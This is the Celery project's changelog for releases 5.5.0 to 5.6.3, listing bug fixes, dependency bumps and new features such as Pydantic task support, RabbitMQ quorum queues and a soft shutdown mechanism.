Debian Codegraph @

Changelog.rst

raw
1 .. _changelog:
2
3 ================
4 Change history
5 ================
6
7 This document contains change notes for bugfix & new features
8 in the main branch & 5.6.x series, please see :ref:`whatsnew-5.6` for
9 an overview of what's new in Celery 5.6.
10
11 .. _version-5.6.3:
12
13 5.6.3
14 =====
15
16 :release-date: 2026-03-26
17 :release-by: Tomer Nosrati
18
19 What's Changed
20 ~~~~~~~~~~~~~~
21
22 - Fix Django worker recursion bug + defensive checks for pool_cls.__module__ (#10048)
23 - Docs: Update user_preload_options example to use click. (#10056)
24 - Fix invalid configuration key "bootstrap_servers" in Kafka demo (#10060)
25 - Fix broken images on PyPI page (#10066)
26 - Remove broken reference. (#10071)
27 - Removed --dist=loadscope from smoke tests (#10073)
28 - Docs: Clarify task_retry signal args may be None (#10076)
29 - Update example for Django (#10081)
30 - Make tests compatible with pymongo >= 4.16 (#10074)
31 - fix: source install of cassandra-driver (#10105)
32 - fix: register task cross-reference role in Sphinx extension (#10100)
33 - fix: avoid cycle detection in native delayed delivery (#10095)
34 - fix(asynpool): avoid AttributeError when proc lacks _sentinel_poll (#10086)
35 - fix dusk_astronomical horizon sign (+18 -> -18) (#10121)
36 - Fix/10106 onupdate col use lambda func (#10108)
37 - Fix warm shutdown RuntimeError with eventlet>=0.37.0 (#10083) (#10123)
38 - Fix 10109 db backend connection health (#10124)
39 - Database Backend filter unsupport sql engine arguments with nullpool #7355 (#10134)
40 - fix(beat): correct argument order in Service.__reduce__ (#10137)
41 - ci: declare explicit read-only token permissions in workflow jobs (#10139)
42 - chore: 'boto3to' to 'boto3 to' (#10133)
43 - Database Backend: Add missing index on date_done (Fixes #10097) (#10098)
44 - docs: fix typo in CONTRIBUTING.rst (#10141)
45 - Refer to Flower / Prometheus for monitoring (#10140)
46 - docs: remove duplicated words in broker and routing docs (#10146)
47 - docs: fix stale version reference and grammar in README (#10145)
48 - docs: fix wording in Celery 5.3 worker pool notes (#10149)
49 - docs: fix duplicated wording in 3.1 changelog entry (#10152)
50 - docs: fix changelog typo in context manager wording (#10144)
51 - Fix/10096 worker fails to reconnect after redis failover (#10151)
52 - Improve on_after_finalize signal documentation (#10155)
53 - Add non-commutative example to clarify partial arg ordering in canvas docs (#10157)
54 - Remove redundant test_isa_mapping test (fixes #10077) (#10103)
55 - Upgrade pytest-celery to >=1.3.0 and adopt PYTEST_CELERY_PKG build arg (#10162)
56 - Remove deprecated args from redis get_connection call (#10036)
57 - Fix #6912 rpc backend reconnection error (#10179)
58 - Fix NameError with TYPE_CHECKING annotations on Python 3.14+ (PEP 649) (#10165)
59 - docs: Add elaboration on prefetch multiplier settings (worker_prefetch_multiplier) and worker_eta_task_limit (#10181)
60 - Fix O(K²) message bloat in a chain of chords (#10171)
61 - Fix mock connection interfaces to prevent `TypeError` during exception handling (#10178)
62 - fix(trace): dispatch chain/callbacks on dedup fast-path for redelivered tasks (#10159)
63 - Extract `reconnect_on_error` to `BaseResultConsumer` (#10189)
64 - pep 649 (#10187)
65 - Fix#9722 friendly status errors for CLI (#10190)
66 - docs: clarify after_return behavior for retried tasks (#10192)
67 - Add compression header to message protocol docs (#10156)
68 - docs: fix duplicated word in bootsteps comment (#10153)
69 - Remove outdated autoreloader section from extending docs (#10154)
70 - Fix: prioritize request ignore_result over task definition (#10184)
71 - fix: clear the timer while catch the exception (#10218)
72 - Prepare for release: v5.6.3 (#10221)
73
74 .. _version-5.6.2:
75
76 5.6.2
77 =====
78
79 :release-date: 2026-01-04
80 :release-by: Tomer Nosrati
81
82 What's Changed
83 ~~~~~~~~~~~~~~
84
85 - Fix recursive WorkController instantiation in DjangoWorkerFixup + AttributeError when pool_cls is a string (#10045)
86 - Bugfix: Revoked tasks now immediately update backend status to REVOKED (#9869)
87 - Prepare for release: v5.6.2 (#10049)
88
89 .. _version-5.6.1:
90
91 5.6.1
92 =====
93
94 :release-date: 2025-12-29
95 :release-by: Tomer Nosrati
96
97 What's Changed
98 ~~~~~~~~~~~~~~
99
100 - Fix Redis Sentinel ACL authentication support (#10013)
101 - Fix: Broker heartbeats not sent during graceful shutdown (#9986)
102 - docs #5410 -- Document confirm_publish broker transport option (#10016)
103 - close DB pools only in prefork mode (#10020)
104 - Fix: Avoid unnecessary Django database connection creation during cleanup (#10015)
105 - reliable prefork detection (#10023)
106 - better coverage (#10029)
107 - Docs: clarify `result_extended` vs periodic task metadata and show `headers["periodic_task_name"]` example (#10030)
108 - Stop importing pytest_subtests (#10032)
109 - Only use exceptiongroup backport for Python < 3.11 (#10033)
110 - Prepare for release: v5.6.1 (#10037)
111
112 .. _version-5.6.0:
113
114 5.6.0
115 =====
116
117 :release-date: 2025-11-30
118 :release-by: Tomer Nosrati
119
120 Celery v5.6.0 is now available.
121
122 Key Highlights
123 ~~~~~~~~~~~~~~
124
125 See :ref:`whatsnew-5.6` for a complete overview or read the main highlights below.
126
127 Python 3.9 Minimum Version
128 --------------------------
129
130 Celery 5.6.0 drops support for Python 3.8 (EOL). The minimum required Python
131 version is now 3.9. Users still on Python 3.8 must upgrade their Python version
132 before upgrading to Celery 5.6.0.
133
134 Additionally, this release includes initial support for Python 3.14.
135
136 SQS: Reverted to ``pycurl`` from ``urllib3``
137 --------------------------------------------
138
139 The switch from ``pycurl`` to ``urllib3`` for the SQS transport (introduced in
140 Celery 5.5.0 via Kombu) has been reverted due to critical issues affecting SQS
141 users:
142
143 - Processing throughput dropped from ~100 tasks/sec to ~3/sec in some environments
144 - ``UnknownOperationException`` errors causing container crash loops
145 - Silent message processing failures with no error logs
146
147 Users of the SQS transport must ensure ``pycurl`` is installed. If you removed
148 ``pycurl`` after upgrading to Celery 5.5.0, you will need to reinstall it.
149
150 Contributed by `@auvipy <https://github.com/auvipy>`_ in
151 `#9620 <https://github.com/celery/celery/pull/9620>`_.
152
153 Security Fix: Broker Credential Leak Prevention
154 ------------------------------------------------
155
156 Fixed a security issue where broker URLs containing passwords were being logged
157 in plaintext by the delayed delivery mechanism. Broker credentials are now
158 properly sanitized in all log output.
159
160 Contributed by `@giancarloromeo <https://github.com/giancarloromeo>`_ in
161 `#9997 <https://github.com/celery/celery/pull/9997>`_.
162
163 Memory Leak Fixes
164 -----------------
165
166 Two significant memory leaks have been fixed in this release:
167
168 **Exception Handling Memory Leak**: Fixed a critical memory leak in task exception
169 handling that was particularly severe on Python 3.11+ due to enhanced traceback
170 data. The fix properly breaks reference cycles in tracebacks to allow garbage
171 collection.
172
173 Contributed by `@jaiganeshs21 <https://github.com/jaiganeshs21>`_ in
174 `#9799 <https://github.com/celery/celery/pull/9799>`_.
175
176 **Pending Result Memory Leak**: Fixed a memory leak where ``AsyncResult``
177 subscriptions were not being cleaned up when results were forgotten.
178
179 Contributed by `@tsoos99dev <https://github.com/tsoos99dev>`_ in
180 `#9806 <https://github.com/celery/celery/pull/9806>`_.
181
182 ETA Task Memory Limit
183 ---------------------
184
185 New configuration option :setting:`worker_eta_task_limit` to prevent out-of-memory
186 crashes when workers fetch large numbers of ETA or countdown tasks. Previously,
187 workers could exhaust available memory when the broker contained many scheduled tasks.
188
189 Example usage:
190
191 .. code-block:: python
192
193 app.conf.worker_eta_task_limit = 1000
194
195 Contributed by `@sashu2310 <https://github.com/sashu2310>`_ in
196 `#9853 <https://github.com/celery/celery/pull/9853>`_.
197
198 Queue Type Selection for Auto-created Queues
199 --------------------------------------------
200
201 New configuration options allow specifying the queue type and exchange type when
202 Celery auto-creates missing queues. This is particularly useful for RabbitMQ users
203 who want to use quorum queues with auto-created queues.
204
205 Configuration options:
206
207 - :setting:`task_create_missing_queue_type`: Sets the queue type for auto-created
208 queues (e.g., ``quorum``, ``classic``)
209 - :setting:`task_create_missing_queue_exchange_type`: Sets the exchange type for
210 auto-created queues
211
212 Example usage:
213
214 .. code-block:: python
215
216 app.conf.task_create_missing_queue_type = 'quorum'
217
218 Contributed by `@ghirailghiro <https://github.com/ghirailghiro>`_ in
219 `#9815 <https://github.com/celery/celery/pull/9815>`_.
220
221 What's Changed
222 ~~~~~~~~~~~~~~
223
224 - Prepare for release: v5.6.0 (#10010)
225
226 .. _version-5.6.0rc2:
227
228 5.6.0rc2
229 ========
230
231 :release-date: 2025-11-22
232 :release-by: Tomer Nosrati
233
234 Celery v5.6.0 Release Candidate 2 is now available for testing.
235 Please help us test this version and report any issues.
236
237 What's Changed
238 ~~~~~~~~~~~~~~
239
240 - Remove Python 4.0 version condition for pytest dependencies (#9993)
241 - Sanitize broker URL in delayed delivery logs (avoid leaking credentials) (#9997)
242 - Don't fail task on timeout during cold shutdown (#9678)
243 - Add Py39-314t to CI (#9999)
244 - asynpool: Don't return from inside a finally block (#10000)
245 - Prepare for (pre) release: v5.6.0rc2 (#10005)
246
247 .. _version-5.6.0rc1:
248
249 5.6.0rc1
250 ========
251
252 :release-date: 2025-11-02
253 :release-by: Tomer Nosrati
254
255 Celery v5.6.0 Release Candidate 1 is now available for testing.
256 Please help us test this version and report any issues.
257
258 What's Changed
259 ~~~~~~~~~~~~~~
260
261 - Add support for Django Connection pool (#9953)
262 - Pin tblib to ==3.1.0 (#9967)
263 - fix(worker): continue to attempt to bind other queues after a native delayed delivery binding failure has occurred (#9959)
264 - Handle UnpicklingError in persistent scheduler initialization (#9952)
265 - Bug Fix: Nested Chords Fail When Using django-celery-results with a Redis Backend (#9950)
266 - Add support pymongo 4.12 (#9665)
267 - Make tests compatible with pymongo >= 4.14 (#9968)
268 - tblib updated from 3.1.0 to 3.2.0 (#9970)
269 - Fix remaining function typing and docstring (#9971)
270 - Fix regex pattern in version parsing and remove duplicate entry in __all__ (#9978)
271 - Bump Kombu to v5.6.0 and removed <5.7 limit on kombu (#9981)
272 - Prepare for (pre) release: v5.6.0rc1 (#9982)
273
274 .. _version-5.6.0b2:
275
276 5.6.0b2
277 =======
278
279 :release-date: 2025-10-20
280 :release-by: Tomer Nosrati
281
282 Celery v5.6.0 Beta 2 is now available for testing.
283 Please help us test this version and report any issues.
284
285 What's Changed
286 ~~~~~~~~~~~~~~
287
288 - GitHub Actions: Test on Python 3.14 release candidate 2 (#9891)
289 - Update pypy to python 3.11 (#9896)
290 - Feature: Add support credential_provider to Redis Backend (#9879)
291 - Celery.timezone: try tzlocal.get_localzone() before using LocalTimezone (#9862)
292 - Run integration tests on Python 3.14 (#9903)
293 - Fix arithmetic overflow for MSSQL result backend (#9904)
294 - Add documentation for task_id param for apply_async function (#9906)
295 - Support redis client name (#9900)
296 - Bump Kombu to v5.6.0rc1 (#9918)
297 - Fix broker connection retry attempt counter in the error log (#9911)
298 - fix: restrict disable-prefetch feature to Redis brokers only (#9919)
299 - fix(): preserve group order in replaced signature (#9910)
300 - Remove Python 3.8 from CI workflow (#9930)
301 - Update default Python versions in integration tests (#9931)
302 - Update tox.ini to remove Python 3.8 (#9932)
303 - Remove Python 3.8 from Dockerfile (#9933)
304 - Update Python version requirement to 3.9 (#9935)
305 - Update pypy version from 3.10 to 3.11 in Dockerfile (#9934)
306 - Flake8 fixes (#9955)
307 - Remove test-pypy3.txt from Dockerfile dependencies (#9939)
308 - Remove backports.zoneinfo for Python 3.9 compatibility (#9956)
309 - Update pytest-cov version for Python compatibility (#9957)
310 - Update pytest-rerunfailures and pre-commit versions (#9958)
311 - Prepare for (pre) release: v5.6.0b2 (#9938)
312
313 .. _version-5.6.0b1:
314
315 5.6.0b1
316 =======
317
318 :release-date: 2025-09-15
319 :release-by: Tomer Nosrati
320
321 Celery v5.6.0 Beta 1 is now available for testing.
322 Please help us test this version and report any issues.
323
324 What's Changed
325 ~~~~~~~~~~~~~~
326
327 - docs: mention of json serializer recursive reference message size blowup (#5000) (#9743)
328 - docs: typo in canvas.rst (#9744)
329 - Makes _on_retry return a float as required to be used as errback on retry_over_time (#9741)
330 - Update canvas.rst doc calculation order for callback (#9758)
331 - Updated Blacksmith logo (#9763)
332 - Made the Sponsors logos link to their website (#9764)
333 - add missing cloudamqp logo (#9767)
334 - Improve sponsor visibility (#9768)
335 - fix: (#9773) task_id must not be empty with chain as body of a chord (#9774)
336 - Update setup.py to fix deprecation warning (#9771)
337 - Adds integration test for chord_unlock bug when routed to quorum/topic queue (#9766)
338 - Add xfail test for default queue/exchange fallback ignoring task_default_* settings (#9765)
339 - Add xfail test for RabbitMQ quorum queue global QoS race condition (#9770)
340 - fix: (#8786) time out when chord header fails with group body (#9788)
341 - Fix #9738 : Add root_id and parent_id to .apply() (#9784)
342 - Replace DelayedDelivery connection creation to use context manager (#9793)
343 - Fix #9794: Pydantic integration fails with __future__.annotations. (#9795)
344 - add go and rust implementation in docs (#9800)
345 - Fix memory leak in exception handling (Issue #8882) (#9799)
346 - Fix handlers docs (Issue #9787) (#9804)
347 - Remove importlib_metadata leftovers (#9791)
348 - Update timeout minutes for smoke tests CI (#9807)
349 - Revert "Remove dependency on `pycurl`" (#9620)
350 - Add Blacksmith Docker layer caching to all Docker builds (#9840)
351 - Bump Kombu to v5.6.0b1 (#9839)
352 - Disable pytest-xdist for smoke tests and increase retries (CI ONLY) (#9842)
353 - Fix Python 3.13 compatibility in events dumper (#9826)
354 - Dockerfile Build Optimizations (#9733)
355 - Migrated from useblacksmith/build-push-action@v1 to useblacksmith/setup-docker-builder@v1 in the CI (#9846)
356 - Remove incorrect example (#9854)
357 - Revert "Use Django DB max age connection setting" (#9824)
358 - Fix pending_result memory leak (#9806)
359 - Update python-package.yml (#9856)
360 - Bump Kombu to v5.6.0b2 (#9858)
361 - Refactor integration and smoke tests CI (#9855)
362 - Fix `AsyncResult.forget()` with couchdb backend method raises `TypeError: a bytes-like object is required, not 'str'` (#9865)
363 - Improve Docs for SQS Authentication (#9868)
364 - Added `.github/copilot-instructions.md` for GitHub Copilot (#9874)
365 - misc: credit removal (#9877)
366 - Choose queue type and exchange type when creating missing queues (fix #9671) (#9815)
367 - fix: prevent celery from hanging due to spawned greenlet errors in greenlet drainers (#9371)
368 - Feature/disable prefetch fixes (#9863)
369 - Add worker_eta_task_limit configuration to manage ETA task memory usage (#9853)
370 - Update runner version in Docker workflow (#9884)
371 - Prepare for (pre) release: v5.6.0b1 (#9890)
372
373 .. _version-5.5.3:
374
375 5.5.3
376 =====
377
378 :release-date: 2025-06-01
379 :release-by: Tomer Nosrati
380
381 What's Changed
382 ~~~~~~~~~~~~~~
383
384 - make the tests run on python 3.13 for gcs backend (#9677)
385 - Added DeepWiki to README (#9683)
386 - Limit redis to <=v5.2.1 to match Kombu (#9693)
387 - Use EX_OK instead of literal zero (#9684)
388 - Make wheel metadata reproducible (#9687)
389 - let celery install from kombu dependencies for better align (#9696)
390 - Fix stamping documentation to clarify stamped_headers key is optional in visitor methods (#9697)
391 - Support apply_async without queue argument on quorum queues (#9686)
392 - Updated rabbitmq doc about using quorum queues with task routes (#9707)
393 - Add: Dumper Unit Test (#9711)
394 - Add unit test for event.group_from (#9709)
395 - refactor: add beat_cron_starting_deadline documentation warning (#9712)
396 - fix: resolve issue #9569 by supporting distinct broker transport options for workers (#9695)
397 - Fixes issue with retry callback arguments in DelayedDelivery (#9708)
398 - get_exchange-unit-test (#9710)
399 - ISSUE-9704: Update documentation of result_expires, filesystem backend is supported (#9716)
400 - update to blacksmith ubuntu 24.04 (#9717)
401 - Added unit tests for celery.utils.iso8601 (#9725)
402 - Update introduction.rst docs (#9728)
403 - Prepare for release: v5.5.3 (#9732)
404
405 .. _version-5.5.2:
406
407 5.5.2
408 =====
409
410 :release-date: 2025-04-25
411 :release-by: Tomer Nosrati
412
413 What's Changed
414 ~~~~~~~~~~~~~~
415
416 - Fix calculating remaining time across DST changes (#9669)
417 - Remove `setup_logger` from COMPAT_MODULES (#9668)
418 - Fix mongodb bullet and fix github links in contributions section (#9672)
419 - Prepare for release: v5.5.2 (#9675)
420
421 .. _version-5.5.1:
422
423 5.5.1
424 =====
425
426 :release-date: 2025-04-08
427 :release-by: Tomer Nosrati
428
429 What's Changed
430 ~~~~~~~~~~~~~~
431
432 - Fixed "AttributeError: list object has no attribute strip" with quorum queues and failover brokers (#9657)
433 - Prepare for release: v5.5.1 (#9660)
434
435 .. _version-5.5.0:
436
437 5.5.0
438 =====
439
440 :release-date: 2025-03-31
441 :release-by: Tomer Nosrati
442
443 Celery v5.5.0 is now available.
444
445 Key Highlights
446 ~~~~~~~~~~~~~~
447
448 See :ref:`whatsnew-5.5` for a complete overview or read the main highlights below.
449
450 Redis Broker Stability Improvements
451 -----------------------------------
452
453 Long-standing disconnection issues with the Redis broker have been identified and
454 resolved in Kombu 5.5.0, which is included with this release. These improvements
455 significantly enhance stability when using Redis as a broker.
456
457 Additionally, the Redis backend now has better exception handling with the new
458 ``exception_safe_to_retry`` feature, which improves resilience during temporary
459 Redis connection issues. See :ref:`conf-redis-result-backend` for complete
460 documentation.
461
462 Contributed by `@drienkop <https://github.com/drienkop>`_ in
463 `#9614 <https://github.com/celery/celery/pull/9614>`_.
464
465 ``pycurl`` replaced with ``urllib3``
466 ------------------------------------
467
468 Replaced the :pypi:`pycurl` dependency with :pypi:`urllib3`.
469
470 We're monitoring the performance impact of this change and welcome feedback from users
471 who notice any significant differences in their environments.
472
473 Contributed by `@spawn-guy <https://github.com/spawn-guy>`_ in Kombu
474 `#2134 <https://github.com/celery/kombu/pull/2134>`_ and integrated in Celery via
475 `#9526 <https://github.com/celery/celery/pull/9526>`_.
476
477 RabbitMQ Quorum Queues Support
478 ------------------------------
479
480 Added support for RabbitMQ's new `Quorum Queues <https://www.rabbitmq.com/docs/quorum-queues>`_
481 feature, including compatibility with ETA tasks. This implementation has some limitations compared
482 to classic queues, so please refer to the documentation for details.
483
484 `Native Delayed Delivery <https://docs.particular.net/transports/rabbitmq/delayed-delivery>`_
485 is automatically enabled when quorum queues are detected to implement the ETA mechanism.
486
487 See :ref:`using-quorum-queues` for complete documentation.
488
489 Configuration options:
490
491 - :setting:`broker_native_delayed_delivery_queue_type`: Specifies the queue type for
492 delayed delivery (default: ``quorum``)
493 - :setting:`task_default_queue_type`: Sets the default queue type for tasks
494 (default: ``classic``)
495 - :setting:`worker_detect_quorum_queues`: Controls automatic detection of quorum
496 queues (default: ``True``)
497
498 Contributed in `#9207 <https://github.com/celery/celery/pull/9207>`_,
499 `#9121 <https://github.com/celery/celery/pull/9121>`_, and
500 `#9599 <https://github.com/celery/celery/pull/9599>`_.
501
502 For details regarding the 404 errors, see
503 `New Year's Security Incident <https://github.com/celery/celery/discussions/9525>`_.
504
505 Soft Shutdown Mechanism
506 -----------------------
507
508 Soft shutdown is a time limited warm shutdown, initiated just before the cold shutdown.
509 The worker will allow :setting:`worker_soft_shutdown_timeout` seconds for all currently
510 executing tasks to finish before it terminates. If the time limit is reached, the worker
511 will initiate a cold shutdown and cancel all currently executing tasks.
512
513 This feature is particularly valuable when using brokers with visibility timeout
514 mechanisms, such as Redis or SQS. It allows the worker enough time to re-queue
515 tasks that were not completed before exiting, preventing task loss during worker
516 shutdown.
517
518 See :ref:`worker-stopping` for complete documentation on worker shutdown types.
519
520 Configuration options:
521
522 - :setting:`worker_soft_shutdown_timeout`: Sets the duration in seconds for the soft
523 shutdown period (default: ``0.0``, disabled)
524 - :setting:`worker_enable_soft_shutdown_on_idle`: Controls whether soft shutdown
525 should be enabled even when the worker is idle (default: ``False``)
526
527 Contributed by `@Nusnus <https://github.com/Nusnus>`_ in
528 `#9213 <https://github.com/celery/celery/pull/9213>`_,
529 `#9231 <https://github.com/celery/celery/pull/9231>`_, and
530 `#9238 <https://github.com/celery/celery/pull/9238>`_.
531
532 Pydantic Support
533 ----------------
534
535 New native support for Pydantic models in tasks. This integration
536 allows you to leverage Pydantic's powerful data validation and serialization
537 capabilities directly in your Celery tasks.
538
539 Example usage:
540
541 .. code-block:: python
542
543 from pydantic import BaseModel
544 from celery import Celery
545
546 app = Celery('tasks')
547
548 class ArgModel(BaseModel):
549 value: int
550
551 class ReturnModel(BaseModel):
552 value: str
553
554 @app.task(pydantic=True)
555 def x(arg: ArgModel) -> ReturnModel:
556 # args/kwargs type hinted as Pydantic model will be converted
557 assert isinstance(arg, ArgModel)
558
559 # The returned model will be converted to a dict automatically
560 return ReturnModel(value=f"example: {arg.value}")
561
562 See :ref:`task-pydantic` for complete documentation.
563
564 Configuration options:
565
566 - ``pydantic=True``: Enables Pydantic integration for the task
567 - ``pydantic_strict=True/False``: Controls whether strict validation is enabled
568 (default: ``False``)
569 - ``pydantic_context={...}``: Provides additional context for validation
570 - ``pydantic_dump_kwargs={...}``: Customizes serialization behavior
571
572 Contributed by `@mathiasertl <https://github.com/mathiasertl>`_ in
573 `#9023 <https://github.com/celery/celery/pull/9023>`_,
574 `#9319 <https://github.com/celery/celery/pull/9319>`_, and
575 `#9393 <https://github.com/celery/celery/pull/9393>`_.
576
577 Google Pub/Sub Transport
578 ------------------------
579
580 New support for Google Cloud Pub/Sub as a message transport, expanding
581 Celery's cloud integration options.
582
583 See :ref:`broker-gcpubsub` for complete documentation.
584
585 For the Google Pub/Sub support you have to install additional dependencies:
586
587 .. code-block:: console
588
589 $ pip install "celery[gcpubsub]"
590
591 Then configure your Celery application to use the Google Pub/Sub transport:
592
593 .. code-block:: python
594
595 broker_url = 'gcpubsub://projects/project-id'
596
597 Contributed by `@haimjether <https://github.com/haimjether>`_ in
598 `#9351 <https://github.com/celery/celery/pull/9351>`_.
599
600 Python 3.13 Support
601 -------------------
602
603 Official support for Python 3.13. All core dependencies have been
604 updated to ensure compatibility, including Kombu and py-amqp.
605
606 This release maintains compatibility with Python 3.8 through 3.13, as well as
607 PyPy 3.10+.
608
609 Contributed by `@Nusnus <https://github.com/Nusnus>`_ in
610 `#9309 <https://github.com/celery/celery/pull/9309>`_ and
611 `#9350 <https://github.com/celery/celery/pull/9350>`_.
612
613 REMAP_SIGTERM Support
614 ---------------------
615
616 The "REMAP_SIGTERM" feature, previously undocumented, has been tested, documented,
617 and is now officially supported. This feature allows you to remap the SIGTERM
618 signal to SIGQUIT, enabling you to initiate a soft or cold shutdown using TERM
619 instead of QUIT.
620
621 This is particularly useful in containerized environments where SIGTERM is the
622 standard signal for graceful termination.
623
624 See :ref:`Cold Shutdown documentation <worker-REMAP_SIGTERM>` for more info.
625
626 To enable this feature, set the environment variable:
627
628 .. code-block:: bash
629
630 export REMAP_SIGTERM="SIGQUIT"
631
632 Contributed by `@Nusnus <https://github.com/Nusnus>`_ in
633 `#9461 <https://github.com/celery/celery/pull/9461>`_.
634
635 Database Backend Improvements
636 -----------------------------
637
638 New ``create_tables_at_setup`` option for the database
639 backend. This option controls when database tables are created, allowing for
640 non-lazy table creation.
641
642 By default (``create_tables_at_setup=True``), tables are created during backend
643 initialization. Setting this to ``False`` defers table creation until they are
644 actually needed, which can be useful in certain deployment scenarios where you want
645 more control over database schema management.
646
647 See :ref:`conf-database-result-backend` for complete documentation.
648
649 Configuration:
650
651 .. code-block:: python
652
653 app.conf.result_backend = 'db+sqlite:///results.db'
654 app.conf.database_create_tables_at_setup = False
655
656 Contributed by `@MarcBresson <https://github.com/MarcBresson>`_ in
657 `#9228 <https://github.com/celery/celery/pull/9228>`_.
658
659 What's Changed
660 ~~~~~~~~~~~~~~
661
662 - (docs): use correct version celery v.5.4.x (#8975)
663 - Update mypy to 1.10.0 (#8977)
664 - Limit pymongo<4.7 when Python <= 3.10 due to breaking changes in 4.7 (#8988)
665 - Bump pytest from 8.1.1 to 8.2.0 (#8987)
666 - Update README to Include FastAPI in Framework Integration Section (#8978)
667 - Clarify return values of ..._on_commit methods (#8984)
668 - add kafka broker docs (#8935)
669 - Limit pymongo<4.7 regardless of Python version (#8999)
670 - Update pymongo[srv] requirement from <4.7,>=4.0.2 to >=4.0.2,<4.8 (#9000)
671 - Update elasticsearch requirement from <=8.13.0 to <=8.13.1 (#9004)
672 - security: SecureSerializer: support generic low-level serializers (#8982)
673 - don't kill if pid same as file (#8997) (#8998)
674 - Update cryptography to 42.0.6 (#9005)
675 - Bump cryptography from 42.0.6 to 42.0.7 (#9009)
676 - don't kill if pid same as file (#8997) (#8998) (#9007)
677 - Added -vv to unit, integration and smoke tests (#9014)
678 - SecuritySerializer: ensure pack separator will not be conflicted with serialized fields (#9010)
679 - Update sphinx-click to 5.2.2 (#9025)
680 - Bump sphinx-click from 5.2.2 to 6.0.0 (#9029)
681 - Fix a typo to display the help message in first-steps-with-django (#9036)
682 - Pinned requests to v2.31.0 due to docker-py bug #3256 (#9039)
683 - Fix certificate validity check (#9037)
684 - Revert "Pinned requests to v2.31.0 due to docker-py bug #3256" (#9043)
685 - Bump pytest from 8.2.0 to 8.2.1 (#9035)
686 - Update elasticsearch requirement from <=8.13.1 to <=8.13.2 (#9045)
687 - Fix detection of custom task set as class attribute with Django (#9038)
688 - Update elastic-transport requirement from <=8.13.0 to <=8.13.1 (#9050)
689 - Bump pycouchdb from 1.14.2 to 1.16.0 (#9052)
690 - Update pytest to 8.2.2 (#9060)
691 - Bump cryptography from 42.0.7 to 42.0.8 (#9061)
692 - Update elasticsearch requirement from <=8.13.2 to <=8.14.0 (#9069)
693 - [enhance feature] Crontab schedule: allow using month names (#9068)
694 - Enhance tox environment: [testenv:clean] (#9072)
695 - Clarify docs about Reserve one task at a time (#9073)
696 - GCS docs fixes (#9075)
697 - Use hub.remove_writer instead of hub.remove for write fds (#4185) (#9055)
698 - Class method to process crontab string (#9079)
699 - Fixed smoke tests env bug when using integration tasks that rely on Redis (#9090)
700 - Bugfix - a task will run multiple times when chaining chains with groups (#9021)
701 - Bump mypy from 1.10.0 to 1.10.1 (#9096)
702 - Don't add a separator to global_keyprefix if it already has one (#9080)
703 - Update pymongo[srv] requirement from <4.8,>=4.0.2 to >=4.0.2,<4.9 (#9111)
704 - Added missing import in examples for Django (#9099)
705 - Bump Kombu to v5.4.0rc1 (#9117)
706 - Removed skipping Redis in t/smoke/tests/test_consumer.py tests (#9118)
707 - Update pytest-subtests to 0.13.0 (#9120)
708 - Increased smoke tests CI timeout (#9122)
709 - Bump Kombu to v5.4.0rc2 (#9127)
710 - Update zstandard to 0.23.0 (#9129)
711 - Update pytest-subtests to 0.13.1 (#9130)
712 - Changed retry to tenacity in smoke tests (#9133)
713 - Bump mypy from 1.10.1 to 1.11.0 (#9135)
714 - Update cryptography to 43.0.0 (#9138)
715 - Update pytest to 8.3.1 (#9137)
716 - Added support for Quorum Queues (#9121)
717 - Bump Kombu to v5.4.0rc3 (#9139)
718 - Cleanup in Changelog.rst (#9141)
719 - Update Django docs for CELERY_CACHE_BACKEND (#9143)
720 - Added missing docs to previous releases (#9144)
721 - Fixed a few documentation build warnings (#9145)
722 - docs(README): link invalid (#9148)
723 - Prepare for (pre) release: v5.5.0b1 (#9146)
724 - Bump pytest from 8.3.1 to 8.3.2 (#9153)
725 - Remove setuptools deprecated test command from setup.py (#9159)
726 - Pin pre-commit to latest version 3.8.0 from Python 3.9 (#9156)
727 - Bump mypy from 1.11.0 to 1.11.1 (#9164)
728 - Change "docker-compose" to "docker compose" in Makefile (#9169)
729 - update python versions and docker compose (#9171)
730 - Add support for Pydantic model validation/serialization (fixes #8751) (#9023)
731 - Allow local dynamodb to be installed on another host than localhost (#8965)
732 - Terminate job implementation for gevent concurrency backend (#9083)
733 - Bump Kombu to v5.4.0 (#9177)
734 - Add check for soft_time_limit and time_limit values (#9173)
735 - Prepare for (pre) release: v5.5.0b2 (#9178)
736 - Added SQS (localstack) broker to canvas smoke tests (#9179)
737 - Pin elastic-transport to <= latest version 8.15.0 (#9182)
738 - Update elasticsearch requirement from <=8.14.0 to <=8.15.0 (#9186)
739 - improve formatting (#9188)
740 - Add basic helm chart for celery (#9181)
741 - Update kafka.rst (#9194)
742 - Update pytest-order to 1.3.0 (#9198)
743 - Update mypy to 1.11.2 (#9206)
744 - all added to routes (#9204)
745 - Fix typos discovered by codespell (#9212)
746 - Use tzdata extras with zoneinfo backports (#8286)
747 - Use `docker compose` in Contributing's doc build section (#9219)
748 - Failing test for issue #9119 (#9215)
749 - Fix date_done timezone issue (#8385)
750 - CI Fixes to smoke tests (#9223)
751 - fix: passes current request context when pushing to request_stack (#9208)
752 - Fix broken link in the Using RabbitMQ docs page (#9226)
753 - Added Soft Shutdown Mechanism (#9213)
754 - Added worker_enable_soft_shutdown_on_idle (#9231)
755 - Bump cryptography from 43.0.0 to 43.0.1 (#9233)
756 - Added docs regarding the relevancy of soft shutdown and ETA tasks (#9238)
757 - Show broker_connection_retry_on_startup warning only if it evaluates as False (#9227)
758 - Fixed docker-docs CI failure (#9240)
759 - Added docker cleanup auto-fixture to improve smoke tests stability (#9243)
760 - print is not thread-safe, so should not be used in signal handler (#9222)
761 - Prepare for (pre) release: v5.5.0b3 (#9244)
762 - Correct the error description in exception message when validate soft_time_limit (#9246)
763 - Update msgpack to 1.1.0 (#9249)
764 - chore(utils/time.py): rename `_is_ambigious` -> `_is_ambiguous` (#9248)
765 - Reduced Smoke Tests to min/max supported python (3.8/3.12) (#9252)
766 - Update pytest to 8.3.3 (#9253)
767 - Update elasticsearch requirement from <=8.15.0 to <=8.15.1 (#9255)
768 - update mongodb without deprecated `[srv]` extra requirement (#9258)
769 - blacksmith.sh: Migrate workflows to Blacksmith (#9261)
770 - Fixes #9119: inject dispatch_uid for retry-wrapped receivers (#9247)
771 - Run all smoke tests CI jobs together (#9263)
772 - Improve documentation on visibility timeout (#9264)
773 - Bump pytest-celery to 1.1.2 (#9267)
774 - Added missing "app.conf.visibility_timeout" in smoke tests (#9266)
775 - Improved stability with t/smoke/tests/test_consumer.py (#9268)
776 - Improved Redis container stability in the smoke tests (#9271)
777 - Disabled EXHAUST_MEMORY tests in Smoke-tasks (#9272)
778 - Marked xfail for test_reducing_prefetch_count with Redis - flaky test (#9273)
